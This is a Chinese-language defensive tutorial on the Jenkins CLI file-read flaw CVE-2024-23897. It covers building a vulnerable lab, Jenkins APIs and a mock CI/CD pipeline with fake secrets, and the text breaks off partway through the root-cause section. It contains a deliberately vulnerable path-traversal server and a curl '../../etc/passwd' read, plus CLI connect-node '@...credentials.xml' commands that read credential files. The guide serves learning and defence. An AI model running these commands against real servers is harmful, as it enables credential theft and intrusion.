Jenkins 任意文件读取漏洞(CVE-2024-23897)安全防御指南

Jenkins 任意文件读取漏洞(CVE-2024-23897)安全防御指南

目标读者:安全运维与防御人员。本文从防御视角 出发,帮助读者理解 CVE-2024-23897 的原理、影响范围与修复方法,并介绍如何在授权环境下进行无损验证与检测。

本文以 本机 JDK + war 包 方式搭建实验环境(macOS 为主,附 Linux/Windows 说明),仅用于授权环境下的安全学习与防御验证。

⚠️ 合规声明:本文所有操作均须在您拥有合法授权的系统上进行,严禁用于未授权测试。任何未授权使用本文技术的行为,后果自负。本文仅介绍防御与检测方法,不提供任何攻击性利用细节。---

目录

  1. 前置基础:目录遍历与任意文件读取
  2. [Jenkins 是什么、基本功能、使用场景](#Jenkins 是什么、基本功能、使用场景)
  3. [本地搭建 Jenkins 环境(本机 JDK + war 包)](#本地搭建 Jenkins 环境(本机 JDK + war 包))
  4. [Jenkins 常见 API 接口及用途](#Jenkins 常见 API 接口及用途)
  5. 模拟一个业务实际场景
  6. [Jenkins 常见漏洞概览](#Jenkins 常见漏洞概览)
  7. [CVE-2024-23897 深度原理](#CVE-2024-23897 深度原理)
  8. 漏洞复现(详细命令)
  9. [编写 Lua 检测插件(思路 → 代码)](#编写 Lua 检测插件(思路 → 代码))
  10. 生产环境无损验证
  11. [WAF 能否拦截 + 规则怎么写](#WAF 能否拦截 + 规则怎么写)
  12. 修复与加固
  13. 参考链接

1. 前置基础:目录遍历与任意文件读取

CVE-2024-23897 本质不是经典的 ../ 路径穿越,但危害同类 :都能让攻击者读到不该读的文件。

先花 5 分钟把"目录遍历 / 任意文件读取"这个地基打好。

1.1 原理一句话

  • 目录遍历(Directory Traversal / Path Traversal) :程序把用户输入直接拼进文件路径,
    用户用 ../(上一级目录)跳出限定目录,读到任意文件。
  • 任意文件读取(Arbitrary File Read) :不一定是 ../,只要最终效果是"能读任意文件"就算。
    CVE-2024-23897 走的是另一条路------CLI 参数里的 @ 被当作"从文件读参数",从而实现任意文件读取。

1.2 一个 30 秒的本地复现(Python,体会 ../)

新建目录并写一个"有漏洞"的静态文件服务器:

bash 复制代码
mkdir -p /tmp/traversal_demo/www && cd /tmp/traversal_demo
cat > vuln_server.py <<'PY'
import http.server, socketserver, os
ROOT = os.path.abspath("www")                     # 期望只服务 www 目录

class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        # 【漏洞点】用户路径直接拼接到 ROOT 后,没有做规范化/边界校验
        path = ROOT + self.path.split("?")[0]
        try:
            with open(path, "rb") as f:
                data = f.read()
            self.send_response(200)
            self.end_headers()
            self.wfile.write(data)
        except Exception:
            self.send_response(404)
            self.end_headers()
            self.wfile.write(b"not found")
    def log_message(self, *a):
        pass

socketserver.TCPServer(("127.0.0.1", 8000), H).serve_forever()
PY

echo "hello from www" > www/index.html
python3 vuln_server.py &        # 后台启动
sleep 1

正常访问:

bash 复制代码
curl http://127.0.0.1:8000/index.html
# hello from www

攻击(用 --path-as-is 阻止 curl 自动规范化 ../):

bash 复制代码
curl --path-as-is http://127.0.0.1:8000/../../etc/passwd
# 会看到系统 /etc/passwd 内容 ------ 目录遍历验证成功(仅限授权环境)

关掉服务:

bash 复制代码
pkill -f vuln_server.py

1.3 修复思路(3 招)

python 复制代码
import os
ROOT = os.path.realpath("www")

def safe_path(user_path):
    p = os.path.realpath(os.path.join(ROOT, user_path.lstrip("/")))
    # 关键:解析真实路径后,必须还在 ROOT 之内
    if not p.startswith(ROOT + os.sep):
        raise ValueError("非法路径")
    return p

要点:先 realpath 规范化,再校验前缀边界;或者直接不用"用户拼路径"的方式,改用映射/白名单。

1.4 和 Jenkins CVE-2024-23897 的关系

目录遍历 CVE-2024-23897
触发字符 ../ @/path(args4j 的 @文件 展开)
位置 Web 路径参数 Jenkins CLI 命令参数
效果 读任意文件 读任意文件
修复本质 规范化路径 + 边界校验 禁用 args4j 的 @ 展开 / 禁用 CLI

2. Jenkins 是什么、基本功能、使用场景

2.1 一句话

Jenkins 是开源的持续集成/持续交付(CI/CD)自动化服务器,常被称为"打包、测试、上线流水线的调度中心"。

2.2 基本功能

  • Job(任务/项目):一个构建单元,如"编译代码"、"跑测试"、"部署"。
  • Pipeline(流水线):把多个阶段串起来(拉代码 → 构建 → 测试 → 发布),可用 Jenkinsfile 描述。
  • SCM 集成:对接 Git/GitHub/GitLab/SVN,自动拉代码、按提交触发构建。
  • 插件体系:上千个插件(Git、Docker、Kubernetes、凭据管理等)。
  • 凭据管理(Credentials):集中保存密码、Token、SSH 私钥、证书等秘密,供构建使用。
  • 节点/Agent:master(controller)分发任务到多台
  • 用户与权限:登录、角色、权限矩阵。
  • 远程 API / CLI:脚本化操作 Jenkins(本文漏洞就在 CLI 里)。

2.3 典型使用场景

  • 代码提交后自动编译、单测、打包。
  • 自动部署到测试/生产服务器。
  • 定时任务(每晚构建、报表)。
  • 漏洞扫描/安全流水线(SAST、镜像扫描)等。

关键点:Jenkins 往往能拿到代码仓库权限、服务器 SSH 私钥、各种密码,

所以它一旦被打穿,影响通常是"供应链级"的。


3. 本地搭建 Jenkins 实验环境

为验证漏洞原理,我们故意装存在漏洞的版本 :LTS 2.426.2 (仅限授权实验环境)。

修复版是 2.426.3 / 2.440.1 / 2.442(后面对比用)。

3.0 先理解 JVM:java -jar 到底在干嘛

一句话:JVM = Java Virtual Machine(Java 虚拟机),一个能执行 Java 字节码的"软件做的计算机"。你写的 Java 程序不直接跑在操作系统上,而是跑在 JVM 里。

为什么需要它:一次编译,到处运行 。C/C++ 编译后是机器码,Windows 上编的 exe 到 Linux 跑不了;Java 编译产物是字节码(.class),是"中间代码",操作系统看不懂、JVM 看得懂:

text 复制代码
HelloWorld.java --javac 编译--> HelloWorld.class (字节码)
                                        ↓
                    Windows 的 JVM → 跑起来
                    Linux 的 JVM   → 跑起来
                    macOS 的 JVM   → 跑起来

JVM 在系统中的位置:

text 复制代码
┌──────────────────────────────┐
│  你的 Java 程序 (jenkins.war) │  ← 应用层
├──────────────────────────────┤
│  JVM                          │  ← 虚拟机层(一个 java 进程)
├──────────────────────────────┤
│  操作系统 (Linux / macOS)     │
├──────────────────────────────┤
│  硬件                         │
└──────────────────────────────┘

JVM 主要干四件事:

职责 说明
加载 类加载器(ClassLoader)把 .class 读进内存
执行 解释执行字节码,热点代码用 JIT 编译成本地机器码提速
管内存 自动分配对象 + 垃圾回收(GC),Java 不用手动 free 的原因
提供运行时 线程、异常处理、反射、安全沙箱等

三个易混概念(包含关系 JDK ⊃ JRE ⊃ JVM):

  • JVM = 虚拟机本身(一个规范 + 实现,如 HotSpot)。
  • JRE = JVM + 核心类库(只想"运行"Java 就装它)。
  • JDK = JRE + 编译器 javac + 调试工具(要"开发"Java 就装它,§3.1 装的就是 JDK)。

和本文串起来:

你之前看到的 和 JVM 的关系
java -jar jenkins.war --httpPort=8080 java 就是启动一个 JVM,把 jenkins.war 交给它跑
lsof -i:8080 / ps aux 里的 java 进程 那就是一个 JVM 进程,Jenkins 只是跑在里面的程序
jenkins.log 只增不减 是这个 JVM 进程的 stdout/stderr 被重定向到文件
--httpsKeyStore=... 读证书用的是 JVM 的 KeyStore 机制

常见 JVM 参数(运维 Jenkins 会用到):

bash 复制代码
java -Xms512m -Xmx2g -jar jenkins.war   # 堆内存初始 512M、最大 2G
java -XX:+UseG1GC -jar jenkins.war       # 指定垃圾回收器
java -Djava.awt.headless=true -jar ...   # 设置系统属性

Jenkins 卡死、OOM,八成是 JVM 堆不够,日志里会出现 java.lang.OutOfMemoryError: Java heap space。

一句话记住 :JVM 是一层"软件做的计算机",Java 程序跑在它上面,从而不用关心底下是 Windows 还是 Linux。你 java -jar jenkins.war 启动的那个进程,就是一个 JVM。

3.1 安装 JDK(Jenkins 2.426.2 推荐 JDK 11 或 17,用 17 最稳)

macOS:

bash 复制代码
brew install openjdk@17

# Apple Silicon(M 系列):
export PATH="/opt/homebrew/opt/openjdk@17/bin:$PATH"
# Intel Mac:
# export PATH="/usr/local/opt/openjdk@17/bin:$PATH"

java -version   # 应显示 17.x

Linux(Debian/Ubuntu):

bash 复制代码
sudo apt update && sudo apt install -y openjdk-17-jdk
java -version

Windows:去 Adoptium 下载 Temurin 17 MSI 安装,确保 java -version 可用。

3.2 下载存在漏洞的 war 包

bash 复制代码
mkdir -p ~/jenkins-lab && cd ~/jenkins-lab
curl -L -o jenkins.war https://get.jenkins.io/war-stable/2.426.2/jenkins.war
ls -lh jenkins.war          # 大约 90MB 左右

想对比"修复版":https://get.jenkins.io/war-stable/2.426.3/jenkins.war

3.3 启动 Jenkins

bash 复制代码
cd ~/jenkins-lab
java -jar jenkins.war --httpPort=8080

启动过程控制台会打印:Jenkins initial setup is required... 和初始密码位置。

  • Jenkins 数据目录 JENKINS_HOME 默认在 ~/.jenkins。
  • 端口默认 8080(可改 --httpPort=9090 等)。
  • 想后台运行:nohup java -jar jenkins.war --httpPort=8080 > jenkins.log 2>&1 &

后台命令逐段拆解(小白必会):

片段 含义
java -jar jenkins.war 用 Java 运行这个 war 包
--httpPort=8080 指定网页端口 8080
> jenkins.log 把"标准输出"写进 jenkins.log
2>&1 把"错误输出"也合并进同一个文件(必须写在 > 之后)
& 放到后台,立刻还你命令行
nohup 关终端也不杀进程(no hang up)

只有 & 关终端会被杀;只有 nohup 会占着终端。两者搭配才是"服务常驻"的标准写法。

配套排查命令:

bash 复制代码
tail -f jenkins.log                      # 实时看启动日志
ps aux | grep jenkins.war | grep -v grep # 进程还活着吗
cat ~/.jenkins/secrets/initialAdminPassword  # 初始密码
kill 12345                               # 停止(换成真实 PID)

注意:jenkins.log 只增不减,长期跑会变大(GB 级),生产用 logrotate 轮转或改 systemd/Docker 管理。

3.4 初始化解锁(浏览器操作)

  1. 浏览器打开 http://127.0.0.1:8080。
  2. 命令行取初始密码:
bash 复制代码
cat ~/.jenkins/secrets/initialAdminPassword
  1. 粘贴后进入插件安装页,选 安装推荐的插件(Install suggested plugins)(慢就选跳过,后续可装)。
  2. 创建第一个管理员账号,例如:用户名 admin,密码自己设。
  3. 进入首页,左下角应显示版本号:Jenkins 2.426.2。

3.5 确认版本与 CLI 可用

bash 复制代码
# 版本头(指纹识别会用到)
curl -s -I http://127.0.0.1:8080/ | grep -i x-jenkins
# X-Jenkins: 2.426.2

这条命令逐段拆解 :curl -s -I(静默、只看响应头)| grep -i x-jenkins(忽略大小写搜 X-Jenkins 头)。Jenkins 会在响应头"自报家门",例如 X-Jenkins: 2.426.2------不用登录就能确认版本,这正是漏洞指纹识别的基础。

三种结果与排查:

结果 含义 怎么办
打印 X-Jenkins: 2.426.x 已就绪 ✅ 直接进入下一步
空白 还在启动 / 端口被占 / 进程没起来 等几十秒再试(首次启动要解压生成密钥,可能 30s~几分钟)
curl: (7) Failed to connect 完全连不上 按顺序查进程→日志→状态码
bash 复制代码
ps aux | grep jenkins.war | grep -v grep   # 1. 进程在吗
tail -f jenkins.log                        # 2. 启动到哪了(就绪会打印 "Jenkins is fully up and running")
curl -s -I http://127.0.0.1:8080/ | head -1 # 3. 看状态码: 503 = 正在启动,等一会
# 只取版本号(适合写进脚本):
curl -s -I http://127.0.0.1:8080/ | grep -i "^X-Jenkins:" | cut -d' ' -f2

小坑:curl -I 是大写 I(只要响应头),grep -i 是小写 i(忽略大小写),别混。

3.6 只绑定本机(重要安全习惯)

Jenkins 的 --httpListenAddress 默认是 0.0.0.0------监听所有网卡,等于"本机 + 局域网 + 公网(如果防火墙放行)都能连"。

bash 复制代码
# 只监听本机回环
nohup java -jar jenkins.war --httpPort=8080 --httpListenAddress=127.0.0.1 > jenkins.log 2>&1 &

验证是否真的绑住了:

bash 复制代码
lsof -i:8080 -sTCP:LISTEN        # 看 LISTEN 那行地址
# 127.0.0.1:8080  → ✅ 已锁本地
# *:8080 或 0.0.0.0:8080 → ❌ 仍对外

坑 :Jenkins 会静默忽略 它不认识的命令行参数(拼错不报错)。比如把 --httpListenAddress 拼成 --httpListenAddr,服务照常起、看起来正常,但实际还是监听 0.0.0.0。所以改完必须验证。

绑定本机后,远程访问的三种正规做法:

bash 复制代码
# ① SSH 隧道(临时/个人最稳)
ssh -L 8080:127.0.0.1:8080 user@服务器IP   # 本地浏览器开 http://127.0.0.1:8080

# ② Nginx 反代(生产标准): 外部 → Nginx(443,HTTPS+认证) → 127.0.0.1:8080
# ③ 只留 HTTPS / 关多余端口
java -jar jenkins.war --httpPort=-1 --ajp13Port=-1 \
  --httpsPort=8443 --httpsListenAddress=127.0.0.1 \
  --httpsKeyStore=/path/keystore --httpsKeyStorePassword=xxx

--httpPort=-1 关 HTTP、--ajp13Port=-1 关 AJP(默认 8009,也常被忽略的暴露面)。HTTPS 密码别写命令行(会进 history),用 Jenkins 的 --paramsFromStdIn 规避:echo '--httpsKeyStorePassword=xxx' | java -jar jenkins.war --paramsFromStdIn。


4. Jenkins 常见 API 接口及用途

4.1 REST API(HTTP,返回 JSON/XML)

通用技巧:几乎任何页面 URL 后面加 /api/json 就能拿结构化数据。UI 只是给同一套 API 套了层皮肤------网页和 API 共用同一套权限模型、同一份数据、同一个 JVM。

三个必会查询参数:

参数 作用 示例
?depth=N 控制展开层级(默认 0,只给浅层字段) ?depth=2
?tree=... 只取需要的字段,大幅瘦身 ?tree=jobs[name,color]
?pretty=true 格式化,肉眼可读 调试必备
bash 复制代码
# 只要任务名和状态(tree 是写脚本最核心的技能)
curl -s 'http://127.0.0.1:8080/api/json?tree=jobs[name,color]'
# 任务名 + 最近构建结果和时间戳
curl -s 'http://127.0.0.1:8080/api/json?tree=jobs[name,lastBuild[result,timestamp]]'
# 节点名和在线状态
curl -s 'http://127.0.0.1:8080/computer/api/json?tree=computer[displayName,offline]'
接口 方法 用途
GET /api/json GET Jenkins 概况:任务列表、视图、节点数、当前用户权限
GET /job/<name>/api/json GET 某个 Job 的详情
GET /job/<name>/config.xml GET Job 的完整配置(含构建步骤、SCM、有时含凭据引用)
POST /job/<name>/build POST 触发一次构建(需权限;开 CSRF 时还要 crumb)
GET /job/<name>/lastBuild/api/json GET 最近一次构建结果
GET /computer/api/json GET 节点/agent 列表、在线状态
GET /queue/api/json GET 构建队列
GET /crumbIssuer/api/json GET 取 CSRF crumb(POST 需要)
POST /script 或 /scriptText POST Groovy 脚本控制台(高危,需 Overall/Administer)
GET /whoAmI/api/json GET 当前登录身份
GET /jnlpJars/jenkins-cli.jar GET 下载 CLI 工具 jar(攻击者也会下这个)
POST /cli(HTTP/WebSocket) POST CLI 入口(CVE-2024-23897 走的通道)

curl 示例(无鉴权先看公开信息):

bash 复制代码
curl -s http://127.0.0.1:8080/api/json | python3 -m json.tool | head -40
curl -s http://127.0.0.1:8080/job/你的任务名/config.xml

4.2 CLI 命令(jenkins-cli.jar)

bash 复制代码
# 下载 CLI 工具(从目标实例自己下,版本一定匹配)
curl -O http://127.0.0.1:8080/jnlpJars/jenkins-cli.jar

# 常用命令
java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ -webSocket help        # 列出所有命令
java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ -webSocket who-am-i    # 我是谁
java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ -webSocket list-jobs   # 列出任务
java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ -webSocket version     # 版本

CLI 有 3 种传输:默认 remoting(TCP 50000)、-http、-webSocket(走 8080)。

复现漏洞时优先用 -webSocket(只要 8080 通就能打),不行再试 -http 或默认。

为什么现在必须 -webSocket :Jenkins 历史上有 SSH 传输(需单独开随机 SSH 端口,防火墙常挡)、

HTTP 长轮询(前面挂 Nginx 会缓冲/超时断连)。较新版本(约 2.385 起)默认禁用了老的 SSH CLI 端口,

所以新版必须加 -webSocket ,否则报 Connection refused 或卡住超时。

记忆:-s 告诉 CLI"去哪找 Jenkins",-webSocket 告诉 CLI"用什么方式连过去"。

权限注意:help、version 是公开命令,不登录也能跑(适合先验证连通性);

who-am-i、list-jobs 需要认证,直接跑会提示认证失败。

4.3 按"杀伤链"给接口分层(更好记)

层次 接口 能拿到什么
① 侦察 /api/json、/whoAmI/api/json、/computer/api/json、/queue/api/json 任务清单、useSecurity 是否开安全、当前权限 authorities、agent 列表
② 配置泄露 /job/<name>/config.xml、/job/<name>/lastBuild/api/json 构建步骤、shell 命令、Git 地址、凭据 ID、硬编码密码(坏习惯很常见)
③ 改变状态 POST /job/<name>/build、GET /crumbIssuer/api/json 触发构建、拿 CSRF crumb
④ 终局 POST /script、POST /scriptText、POST /cli Groovy RCE、CVE-2024-23897 任意文件读

关键区分:config.xml 里的凭据通常只是 ID (如 aws-prod-key),真正密文在 credentials.xml

且依赖 master.key 解密------所以"拿到 ID ≠ 拿到密码"。但很多团队把密码硬编码在 shell 步骤里,那种就是纯明文。

4.4 深挖 /script、/scriptText:Jenkins 上最值钱的端点

网页版 Groovy Shell,直接在 Jenkins 主进程 JVM 里执行代码。官方文档承认它能:创建子进程执行任意命令、

读进程有权访问的文件(如 /etc/passwd)、解密所有凭据、修改任何配置、关掉安全设置、绕过审计。

为什么它能解密凭据 :凭据加密的密钥就存在同一台机器上($JENKINS_HOME/secrets/master.key),

脚本控制台跑在 Jenkins 自己的 JVM 里,能直接调用 Jenkins 自己的解密函数------加密防的是"偷文件的人",防不了"在 JVM 里执行代码的人"。

  • 权限要求:Overall/Administer(旧版 Overall/RunScripts)。

  • 它本身不是漏洞,是权限极高的管理功能;真正的问题是**初始化向导被跳过 / 授权配错(Anyone can do anything)**导致匿名就有这权限。

  • 防护:权限只给极少数管理员;绝不用 root 跑;Nginx 层直接封路径:

    nginx 复制代码
    location = /script     { deny all; return 403; }
    location = /scriptText { deny all; return 403; }

4.5 CSRF Crumb 机制(写 POST 脚本必背)

CSRF 是什么威胁 :你登录了 Jenkins,浏览器里存着 Cookie。这时你访问了一个恶意网页,它偷偷往 你的Jenkins/job/xx/build 发一个 POST------浏览器会自动带上你的 Cookie,Jenkins 分不清这是"你点的"还是"攻击者发的",于是任务就被人替你触发了。这就是 CSRF(跨站请求伪造)。

crumb 就是对策:Jenkins 生成一个随机令牌(crumb),任何会改变状态的操作(触发构建、改配置)都必须带上它。攻击者拿不到你页面里的 crumb,伪造的请求就被拒了。

关键点 :crumb 里编码了「用户名 + Web 会话 ID + 实例盐值」,三者都要对得上才有效。所以脚本的标准两步是:

  1. 先 GET /crumbIssuer/api/json 拿 crumb(同时记下 Set-Cookie 里的会话 ID);
  2. 后续请求同时带上 crumb + 那个会话 Cookie。
bash 复制代码
# 1. 拿 crumb,同时保存会话 Cookie(两者必须配对)
CRUMB=$(curl -s -c /tmp/cookies.txt -u user:token \
  'http://127.0.0.1:8080/crumbIssuer/api/json' | jq -r '.crumb')
# 2. 带 crumb + 同一个 cookie 发 POST
curl -s -b /tmp/cookies.txt -u user:token \
  -H "Jenkins-Crumb: $CRUMB" \
  -X POST 'http://127.0.0.1:8080/job/my-job/build'

两个易错点:① crumb 和 cookie 必须配对(只带 crumb 不带 cookie,或 cookie 不一致,都会被拒);② header 名是 Jenkins-Crumb(拼错不报错,直接 403)。

反直觉的一点 :即使 Jenkins 完全关闭安全(security realm = None),crumb 依然启用------"没开认证"≠"没防护",crumb 是独立的一层。这也解释了为什么某些自动化脚本在"完全不设防"的 Jenkins 上仍然会 403 卡住。

4.6 权限模型:看懂接口背后的门槛

权限 含义 典型接口
Overall/Read 最基础的读权限,几乎所有 API 门槛 大部分 GET、/api/json
Overall/Administer 管理员,等于完全控制 /script、/manage
Overall/RunScripts 旧版脚本权限(等价 Administer) /script
Job/Read / Job/Build / Job/Configure 看/触发/改某个 Job 对应 /job/<name>/...
Credentials/* 查看/管理凭据 /credentials/...

Overall/Read 是绝大多数安全事故的"门票" :很多实例给匿名配了它,于是 /api/json、

/job/*/config.xml、以及 CVE-2024-23897 的完整文件读全部解锁。

4.7 <name> 占位符与自查脚本

<name> = 任务的真实名(不是显示名、不是构建号、不是节点名)。真实名以地址栏 URL 为准;Job 名建议只用小写字母/数字/连字符,避免 URL 编码麻烦。

bash 复制代码
# 列出所有任务名/完整 URL(推荐,不用自己拼)
curl -s 'http://127.0.0.1:8080/api/json?tree=jobs[name]' | jq -r '.jobs[].name'
curl -s 'http://127.0.0.1:8080/api/json?tree=jobs[url]' | jq -r '.jobs[].url'

文件夹嵌套时每层都要写 /job/:

text 复制代码
任务 team-a/deploy 的真实 URL = /job/team-a/job/deploy/config.xml
三级同理: /job/team-a/job/sub/job/deploy/config.xml
用 fullName 拿完整路径: curl -s '.../api/json?tree=jobs[fullName]&depth=3'

一套打自己机器的自查脚本(授权环境用):

bash 复制代码
JENKINS="http://127.0.0.1:8080"
curl -s "$JENKINS/api/json" | grep -o '"useSecurity":[a-z]*'            # 1. 是否开安全
curl -s "$JENKINS/whoAmI/api/json?pretty=true"                          # 2. 我是谁/什么权限
curl -s "$JENKINS/api/json?tree=jobs[name,color]&pretty=true"           # 3. 有哪些 Job
curl -s "$JENKINS/computer/api/json?tree=computer[displayName,offline]&pretty=true"  # 4. 节点
curl -sI "$JENKINS/" | grep -i x-jenkins                                # 5. 版本(判断是否在漏洞范围)
curl -s -o /dev/null -w "%{http_code}\n" "$JENKINS/script"              # 6. 脚本控制台是否对匿名开放(应 403)

第 1 条返回 useSecurity:false、第 2 条返回 authorities:["anonymous"]、第 6 条返回 200------这台 Jenkins 等于裸奔,立即处置。


5. 模拟一个业务实际场景(可照做)

假设你所在公司用 Jenkins 做电商网站 shop-web 的 CI/CD:

复制代码
GitHub 代码仓库 ──push──> Jenkins ──> 编译/测试 ──> 打包镜像 ──> SSH 部署到生产服务器
                              │
                              ├─ 保存:GitHub Token(拉代码)
                              ├─ 保存:Docker Registry 账号密码(推镜像)
                              ├─ 保存:生产服务器 SSH 私钥(部署)
                              └─ 保存:数据库密码(构建时注入配置)

攻击者视角:Jenkins 暴露在公网,利用 CVE-2024-23897 读走这些秘密 → 横向到代码仓库/生产服务器。

下面这套搭建目的有两个:① 让你熟悉 Jenkins 的 Job / 凭据 / 构建 / API;② 造出真实的

credentials.xml、config.xml、构建记录,供 §8 复现时读取验证危害。所有密码/Token 都是假的,仅用于学习。

5.1 准备:生成一把"部署私钥"(用于 SSH 凭据)

bash 复制代码
mkdir -p ~/jenkins-lab
ssh-keygen -t rsa -b 2048 -f ~/jenkins-lab/jenkins_deploy_key -N "" -C "jenkins-demo-deploy"
cat ~/jenkins-lab/jenkins_deploy_key   # 稍后把这段内容粘进 SSH 凭据

这是模拟私钥,别用在任何真实服务器上。

5.2 创建 4 个凭据(Credentials)

UI 路径:首页 → Manage Jenkins → Credentials → System → Global credentials (unrestricted) → Add Credentials。

逐个创建(每次填完点 Create;ID 一定要照抄,后面 Job 要靠它引用):

ID(照抄) Kind 类型 用途 填写内容
github-token Secret text 拉代码 Secret = ghp_fake0123456789ABCDEFGHIJKLMN
docker-registry Username with password 推镜像 Username = shopdeploy,Password = Docker!Passw0rd
deploy-ssh-key SSH Username with private key 部署 Username = deploy;Private Key 选 Enter directly,粘入 5.1 生成的私钥全文
db-password Secret text 数据库密码 Secret = Sup3rS3cret_DB_P@ss

创建完,页面里应看到 4 个凭据。它们会被写入 ~/.jenkins/credentials.xml(§8 会读它)。

5.3 创建 Freestyle 任务 shop-web-build

UI 路径:首页 → New Item → 名字填 shop-web-build → 选 Freestyle project → OK。

  1. 滚动到 Build Environment 勾选 Use secret text(s) or file(s) → Add → Secret text → 选 db-password,Variable 填 DB_PASS。
  2. Build Steps → Add build step → Execute shell,命令框填:
bash 复制代码
echo "===== shop-web build start ====="
echo "building shop-web ..."
echo "injected DB_PASS = $DB_PASS"
  1. 点 Save 。此时配置已写入 ~/.jenkins/jobs/shop-web-build/config.xml。

5.4 创建 Pipeline 任务 shop-web-deploy

UI 路径:首页 → New Item → 名字填 shop-web-deploy → 选 Pipeline → OK。

滚动到 Pipeline 段,Definition 选 Pipeline script,把下面整段 Jenkinsfile 粘进 Script 框,点 Save:

groovy 复制代码
pipeline {
    agent any
    environment {
        // secret text 凭据可直接映射成环境变量
        DB_PASS      = credentials('db-password')
        GITHUB_TOKEN = credentials('github-token')
    }
    stages {
        stage('Checkout') {
            steps {
                echo '模拟从 GitHub 拉取 shop-web 代码...'
                // 真实场景: git branch: 'main', url: 'https://github.com/yourorg/shop-web.git'
            }
        }
        stage('Build') {
            steps {
                sh "echo '【模拟】mvn clean package -DskipTests'"
            }
        }
        stage('Test') {
            steps {
                sh "echo '【模拟】run unit tests'"
            }
        }
        stage('Docker Build & Push') {
            steps {
                withCredentials([usernamePassword(credentialsId: 'docker-registry',
                        usernameVariable: 'DOCKER_USER', passwordVariable: 'DOCKER_PASS')]) {
                    echo "模拟登录镜像仓库,用户: ${DOCKER_USER}"
                    sh "echo '【模拟】docker login -u ${DOCKER_USER} -p ****** registry.example.com'"
                }
            }
        }
        stage('Deploy via SSH') {
            steps {
                withCredentials([sshUserPrivateKey(credentialsId: 'deploy-ssh-key',
                        keyFileVariable: 'SSH_KEY', usernameVariable: 'SSH_USER')]) {
                    echo "模拟部署,SSH 用户: ${SSH_USER},私钥临时文件: ${SSH_KEY}"
                    sh "echo '【模拟】scp -i ${SSH_KEY} shop-web.jar ${SSH_USER}@prod:/opt/shop-web/'"
                }
            }
        }
    }
    post {
        success { echo '✅ 流水线成功' }
        failure { echo '❌ 流水线失败' }
    }
}

这个 Jenkinsfile 把三种凭据用法都演示了一遍:credentials()(secret text)、

withCredentials + usernamePassword、withCredentials + sshUserPrivateKey------正是真实 CI/CD 里最常用的写法。

5.5 触发一次构建(UI / CLI / REST 三种方式)

UI:进入任务 → 点 Build Now(侧边栏)。

CLI(需鉴权):

bash 复制代码
java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ -webSocket \
  -auth @$HOME/.jenkins-cli build shop-web-build -s
java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ -webSocket \
  -auth @$HOME/.jenkins-cli build shop-web-deploy -s

REST(带 CSRF crumb,衔接 §4.5):

bash 复制代码
CRUMB=$(curl -s -c /tmp/cookies.txt -u admin:你的TOKEN \
  'http://127.0.0.1:8080/crumbIssuer/api/json' | jq -r '.crumb')
curl -s -b /tmp/cookies.txt -u admin:你的TOKEN -H "Jenkins-Crumb: $CRUMB" \
  -X POST 'http://127.0.0.1:8080/job/shop-web-build/build'

构建完成后,进任务 → Console Output ,应能看到 shell 回显(含 injected DB_PASS = ...,验证凭据绑定生效)。

5.6 用 CLI / REST 验证(衔接 §4 学习)

bash 复制代码
java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ -webSocket list-jobs
# 应看到: shop-web-build / shop-web-deploy

java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ -webSocket get-job shop-web-build
# 打印 config.xml

curl -s 'http://127.0.0.1:8080/job/shop-web-build/config.xml' | grep -E 'command|credentialsId|DB_PASS'
curl -s 'http://127.0.0.1:8080/api/json?tree=jobs[name,color]&pretty=true'

5.7 进阶:用 CLI 直接创建任务(等价 UI 的 create-job)

bash 复制代码
cat > /tmp/shop-web-build.xml <<'XML'
<project>
  <description>Build shop-web (demo)</description>
  <keepDependencies>false</keepDependencies>
  <properties/>
  <scm class="hudson.scm.NullSCM"/>
  <canRoam>true</canRoam>
  <disabled>false</disabled>
  <blockBuildWhenDownstreamBuilding>false</blockBuildWhenDownstreamBuilding>
  <blockBuildWhenUpstreamBuilding>false</blockBuildWhenUpstreamBuilding>
  <triggers/>
  <concurrentBuild>false</concurrentBuild>
  <builders>
    <hudson.tasks.Shell>
      <command>echo "===== shop-web build start ====="
echo "building shop-web ..."</command>
      <configuredLocalRules/>
    </hudson.tasks.Shell>
  </builders>
  <publishers/>
  <buildWrappers/>
</project>
XML

java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ -webSocket \
  -auth @$HOME/.jenkins-cli create-job shop-web-build < /tmp/shop-web-build.xml

说明:凭据的"绑定到环境变量"(BuildWrapper)也能写进 XML,但类名随插件版本变化,易错;

学习阶段建议凭据绑定走 UI、Job 走 create-job/get-job。

5.8 现在可以做的漏洞验证(衔接 §8)

场景搭好后,~/.jenkins/credentials.xml(4 个凭据的密文)、

~/.jenkins/jobs/shop-web-build/config.xml(shell 步骤 + 凭据引用)都已就位。到 §8 用:

bash 复制代码
java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ -webSocket \
  -auth @$HOME/.jenkins-cli connect-node '@/Users/你的用户名/.jenkins/credentials.xml'
java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ -webSocket \
  -auth @$HOME/.jenkins-cli connect-node '@/Users/你的用户名/.jenkins/jobs/shop-web-build/config.xml'

就能直观看到"任意文件读取"到底读到了什么,以及这些秘密为什么值钱。


6. Jenkins 常见漏洞概览

漏洞 类型 一句话危害
CVE-2024-23897 CLI 任意文件读取 未授权可读前几行,授权可读整文件 → 偷凭据 → 可能 RCE
CVE-2018-1000861 remoting 反序列化 RCE 未授权可远程执行命令
CVE-2015-8103 Java 反序列化 RCE remoting 协议反序列化 → RCE
CVE-2019-1003000 / 1003005 Script Security 沙箱绕过 低权限触发 Groovy RCE
配置不当 Groovy 脚本控制台滥用 POST /script 直接执行系统命令
凭据存储 弱加密/密钥泄露 secrets/master.key + hudson.util.Secret 可解出密码
CSRF/SSRF 请求伪造 插件类常见,结合其他漏洞放大危害

本文聚焦 CVE-2024-23897。


7. CVE-2024-23897 深度原理

7.1 根因:args4j 的 @ 文件展开

  • Jenkins CLI 用 args4j 库解析命令行参数。
  • args4j 有个功能 expandAtFiles:参数里出现 @/path/to/file,会被替换成这个文件的内容。
  • Jenkins 2.441 及更早、LTS 2.426.2 及更早没有关闭这个功能。

当攻击者发 CLI 命令时,@/etc/passwd 这类参数被送到服务端,服务端 args4j 解析时:

复制代码
help '@/etc/passwd'
        │
